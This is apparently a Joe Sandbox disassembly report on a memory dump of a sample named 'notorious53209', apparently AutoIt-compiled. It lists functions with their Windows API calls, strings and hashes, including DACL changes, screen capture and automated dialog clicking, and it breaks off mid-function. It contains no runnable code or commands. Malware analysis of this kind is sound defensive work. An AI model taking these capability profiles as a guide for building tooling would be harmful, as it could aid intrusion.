Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: b03e4e923e5e82175ac8187cff450e03b86e0d6193fce69f76b55f864796df30
Instruction ID: 8342ef686e129048e99c11484709ffcfce3b1bd9659f938fb1b6317a3fae851c
Opcode Fuzzy Hash: b03e4e923e5e82175ac8187cff450e03b86e0d6193fce69f76b55f864796df30
Instruction Fuzzy Hash: 7F919F742247029FCB14FF14C891AAAB7A1AF45354F04485DF8965B3A3CB70ED6ACF81

Function 0029A0B5 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,002BFB78), ref: 0029A0FC

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

LoadStringW.USER32(?,?,00000FFF,?), ref: 0029A11E
__swprintf.LIBCMT ref: 0029A177
__swprintf.LIBCMT ref: 0029A190
_wprintf.LIBCMT ref: 0029A246
_wprintf.LIBCMT ref: 0029A264

Strings

Line %d (File "%s"):, xrefs: 0029A171, 0029A18A
"%s" (%d) : ==> %s:, xrefs: 0029A25F
"%s" (%d) : ==> %s:%s%s, xrefs: 0029A241
%,, xrefs: 0029A0C9
Error: , xrefs: 0029A20E
^ ERROR, xrefs: 0029A1E8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR$%,
API String ID: 311963372-1461424734
Opcode ID: 5dd892d38f658a7f989cc1ac5389cb36ddac27aaf309e945d9e6f1f464cdda7f
Instruction ID: 25d50a4ae3bea03da32b25160e7c59370060fbda39086c0a6f102b355dd86e01
Opcode Fuzzy Hash: 5dd892d38f658a7f989cc1ac5389cb36ddac27aaf309e945d9e6f1f464cdda7f
Instruction Fuzzy Hash: 565173B1920209BACF25EBE0DD86EEEB779AF04304F140165F905721A1EB316F68DF91

Function 0029A5BD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

CharLowerBuffW.USER32(?,?), ref: 0029A636
GetDriveTypeW.KERNEL32 ref: 0029A683
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0029A6CB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0029A702
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0029A730

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

Strings

close cd wait, xrefs: 0029A71B
close, xrefs: 0029A63C
closed, xrefs: 0029A64A, 0029A653
wait, xrefs: 0029A6ED
type cdaudio alias cd wait, xrefs: 0029A6AE
set cd door , xrefs: 0029A6D1
open , xrefs: 0029A692
open, xrefs: 0029A65D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 85ea83af9de31f662678bc121f6a6639c0ffb35fd5714286214ea5dcd624dc78
Instruction ID: 214842013e11c123089bb82af8c0a81335a4a9c652d4f2fa1c52494ed5af779b
Opcode Fuzzy Hash: 85ea83af9de31f662678bc121f6a6639c0ffb35fd5714286214ea5dcd624dc78
Instruction Fuzzy Hash: 04516BB11243059FCB10EF21C98186AB7F8FF99718F54496CF89657261DB31AE19CF82

Function 0029A45A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0029A47A
__swprintf.LIBCMT ref: 0029A49C
CreateDirectoryW.KERNEL32(?,00000000), ref: 0029A4D9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0029A4FE
_memset.LIBCMT ref: 0029A51D
_wcsncpy.LIBCMT ref: 0029A559
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0029A58E
CloseHandle.KERNEL32(00000000), ref: 0029A599
RemoveDirectoryW.KERNEL32(?), ref: 0029A5A2
CloseHandle.KERNEL32(00000000), ref: 0029A5AC

Strings

:, xrefs: 0029A4BD
\??\%s, xrefs: 0029A496
\, xrefs: 0029A4B2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: a40f9f611ac473df09713128f6c7760d70b7320b6d4861eadf7afe2d46b6ecec
Instruction ID: 3eca437d9186c63af6ffc7c72b126234cebd534fca7bd3fe0157e1f7230b0de3
Opcode Fuzzy Hash: a40f9f611ac473df09713128f6c7760d70b7320b6d4861eadf7afe2d46b6ecec
Instruction Fuzzy Hash: 4D31C3B6A1020AABDB21DFA0DC49FEB73BCEF88701F5041B6F909D2160E77097548B65

Function 002883F4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0028874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00288766
Part of subcall function 0028874A: GetLastError.KERNEL32(?,0028822A,?,?,?), ref: 00288770
Part of subcall function 0028874A: GetProcessHeap.KERNEL32(00000008,?,?,0028822A,?,?,?), ref: 0028877F
Part of subcall function 0028874A: RtlAllocateHeap.NTDLL(00000000,?,0028822A), ref: 00288786
Part of subcall function 0028874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0028879D

Part of subcall function 002887E7: GetProcessHeap.KERNEL32(00000008,00288240,00000000,00000000,?,00288240,?), ref: 002887F3
Part of subcall function 002887E7: RtlAllocateHeap.NTDLL(00000000,?,00288240), ref: 002887FA
Part of subcall function 002887E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00288240,?), ref: 0028880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00288458
_memset.LIBCMT ref: 0028846D
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0028848C
GetLengthSid.ADVAPI32(?), ref: 0028849D
GetAce.ADVAPI32(?,00000000,?), ref: 002884DA
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 002884F6
GetLengthSid.ADVAPI32(?), ref: 00288513
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00288522
RtlAllocateHeap.NTDLL(00000000), ref: 00288529
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0028854A
CopySid.ADVAPI32(00000000), ref: 00288551
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00288582
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 002885A8
SetUserObjectSecurity.USER32(?,00000004,?), ref: 002885BC

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: d7126928f5a03294ac207bac9c30f19ee65860eeb797de794e39e4326e1e694e
Instruction ID: 9a85672ff9599ced80960ce3116eeee03bace2b627f6feb49fd8f2c0790e083b
Opcode Fuzzy Hash: d7126928f5a03294ac207bac9c30f19ee65860eeb797de794e39e4326e1e694e
Instruction Fuzzy Hash: FC616D7591120AAFDF10EFA4DD44AEEBBB9FF04300F848629F915A7291DB349A14CF60

Function 002A762D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 002A76A2
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 002A76AE
CreateCompatibleDC.GDI32(?), ref: 002A76BA
SelectObject.GDI32(00000000,?), ref: 002A76C7
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 002A771B
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 002A7757
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 002A777B
SelectObject.GDI32(00000006,?), ref: 002A7783
DeleteObject.GDI32(?), ref: 002A778C
DeleteDC.GDI32(00000006), ref: 002A7793
ReleaseDC.USER32(00000000,?), ref: 002A779E

Strings

(, xrefs: 002A7723

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 9d65d636b9901ef545a386e7ec63be8aa1f5aac68307e769d44a29cb06c56235
Instruction ID: bc231754ccba2ac58e70e1ea8db881d75250000e23b09c1428b22d8bb652d0b7
Opcode Fuzzy Hash: 9d65d636b9901ef545a386e7ec63be8aa1f5aac68307e769d44a29cb06c56235
Instruction Fuzzy Hash: 31517C75914309EFCB14CFA8DC88EAEBBB9EF49710F14852DF94997220DB31A850CB64

Function 00236BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00250B9B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00236C6C,?,00008000), ref: 00250BB7

Part of subcall function 002348AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002348A1,?,?,002337C0,?), ref: 002348CE

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00236D0D
SetCurrentDirectoryW.KERNEL32(?), ref: 00236E5A

Part of subcall function 002359CD: _wcscpy.LIBCMT ref: 00235A05

Part of subcall function 0025387D: _iswctype.LIBCMT ref: 00253885

Strings

#include depth exceeded. Make sure there are no recursive includes, xrefs: 0026E84A
Unterminated string, xrefs: 0026EC0D
Error opening the file, xrefs: 0026E866, 0026E8E1
EA06, xrefs: 0026E87B
AU3!, xrefs: 00236CC1
Bad directive syntax error, xrefs: 0026EBC6
>>>AUTOIT SCRIPT<<<, xrefs: 0026E8BF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: bc844ebd06c9d52e36d6f7b4426f3743a5d90b4791e8fa817b47936e8f7822e8
Instruction ID: aa0aa418eb7c6bbddf04f080c3b86b0cee6370929419a430ff4486819dbd2ed1
Opcode Fuzzy Hash: bc844ebd06c9d52e36d6f7b4426f3743a5d90b4791e8fa817b47936e8f7822e8
Instruction Fuzzy Hash: 6302C1B51283419FCB24EF24C881AAFBBE5BF99314F04491DF489972A1DB30D969CF42

Function 002345DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002345F9
GetMenuItemCount.USER32(002F6890), ref: 0026D7CD
GetMenuItemCount.USER32(002F6890), ref: 0026D87D
GetCursorPos.USER32(?), ref: 0026D8C1
SetForegroundWindow.USER32(00000000), ref: 0026D8CA
TrackPopupMenuEx.USER32(002F6890,00000000,?,00000000,00000000,00000000), ref: 0026D8DD
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 0026D8E9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 6ccad06ae475b3826b6d996305f48f94a091f302c96101e3a3f5b2b5a0203cce
Instruction ID: 5e2e275c694a236bbe29383c16c155460d4caa32447f3f5270a0aa42472bb019
Opcode Fuzzy Hash: 6ccad06ae475b3826b6d996305f48f94a091f302c96101e3a3f5b2b5a0203cce
Instruction Fuzzy Hash: F471D770B6020ABAEB319F64DC49FAAFF68FF05364F100226F525661E1C7B16870DB91

Function 002B10A5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 002B10BC

Strings

HKLM, xrefs: 002B113A
HKEY_USERS, xrefs: 002B11BD
HKEY_CURRENT_CONFIG, xrefs: 002B1179
HKU, xrefs: 002B11CE
HKCU, xrefs: 002B11AC
HKEY_CURRENT_USER, xrefs: 002B119B
HKEY_LOCAL_MACHINE, xrefs: 002B1125
HKCC, xrefs: 002B118A
HKEY_CLASSES_ROOT, xrefs: 002B114F
HKCR, xrefs: 002B1164

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: f7c804419a5cdb63edf8e0f67f963f1dcdf05cd2e400a283968c32c66d8c35c0
Instruction ID: 621fa692fbee11818884fed78db37463e3098648f94abd3b2147daeca4988855
Opcode Fuzzy Hash: f7c804419a5cdb63edf8e0f67f963f1dcdf05cd2e400a283968c32c66d8c35c0
Instruction Fuzzy Hash: CD415B7017129B8BCF11EF94DDA1AEB3724EF15390F904454EC955B291DB70EA3ACBA0

Function 00295569 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

Part of subcall function 00237A84: _memmove.LIBCMT ref: 00237B0D

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 002955D2
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 002955E8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 002955F9
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0029560B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0029561C

Strings

status PlayMe mode, xrefs: 002955CD
play PlayMe wait, xrefs: 00295606
alias PlayMe, xrefs: 002955AB
play PlayMe, xrefs: 00295617
open , xrefs: 00295581
close PlayMe, xrefs: 002955E3, 00295610

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 5e2f2ccc13d01d1d257f1fb6e0f42e9279ff4b102587df47a92cd004df1e0423
Instruction ID: ffa8bcab1acfb103a3b764f2e3e625e13b236af347962e64a70b0ab7a59bc724
Opcode Fuzzy Hash: 5e2f2ccc13d01d1d257f1fb6e0f42e9279ff4b102587df47a92cd004df1e0423
Instruction Fuzzy Hash: 0E1198A0AB01A979DB20F666CC89DFFBF7CEF92B00F800459B401920D1DE601D25CAB1

Function 002948F3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 0029490E
gethostname.WS2_32(?,00000100), ref: 00294928
gethostbyname.WS2_32(?), ref: 00294935
_wcscpy.LIBCMT ref: 0029495D
_memmove.LIBCMT ref: 00294970
inet_ntoa.WS2_32(?), ref: 0029497B
_strcat.LIBCMT ref: 00294989
_wcscpy.LIBCMT ref: 002949A0
WSACleanup.WS2_32 ref: 002949AE
_wcscpy.LIBCMT ref: 002949BC

Strings

0.0.0.0, xrefs: 00294957

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 357420e36f8d0862ed31c7623782d720cfe94958881cc018c329b005d57ba3b6
Instruction ID: 4429c1d491ef7aa5b409a24d7b066782f611829227c7c9a27bc76153925e8261
Opcode Fuzzy Hash: 357420e36f8d0862ed31c7623782d720cfe94958881cc018c329b005d57ba3b6
Instruction Fuzzy Hash: D811E732924115ABDF20FB64ED4AEDB77BCDF01721F0402B6F80896091EF709AE69B51

Function 00295217 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0029521C

Part of subcall function 00250719: timeGetTime.WINMM ref: 0025071D

Sleep.KERNEL32(0000000A), ref: 00295248
EnumThreadWindows.USER32(?,Function_000651CA,00000000), ref: 0029526C
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0029528E
SetActiveWindow.USER32 ref: 002952AD
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 002952BB
SendMessageW.USER32(00000010,00000000,00000000), ref: 002952DA
Sleep.KERNEL32(000000FA), ref: 002952E5
IsWindow.USER32 ref: 002952F1
EndDialog.USER32(00000000), ref: 00295302

Strings

BUTTON, xrefs: 00295280

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 43236289c13780588f349502433e296daadb1ee157cc51b938952656bd291e58
Instruction ID: 5eed54a5250f934558f8918085e3e4c63f2f5b6c80679bc5047342f23bed7a64
Opcode Fuzzy Hash: 43236289c13780588f349502433e296daadb1ee157cc51b938952656bd291e58
Instruction Fuzzy Hash: 6821AE70624705AFEB025F30FE8DA3A3B69EB453A6F401578FC05811B1CBB19C64DB21

Function 0029D7F8 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

CoInitialize.OLE32(00000000), ref: 0029D855
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0029D8E8
SHGetDesktopFolder.SHELL32(?), ref: 0029D8FC
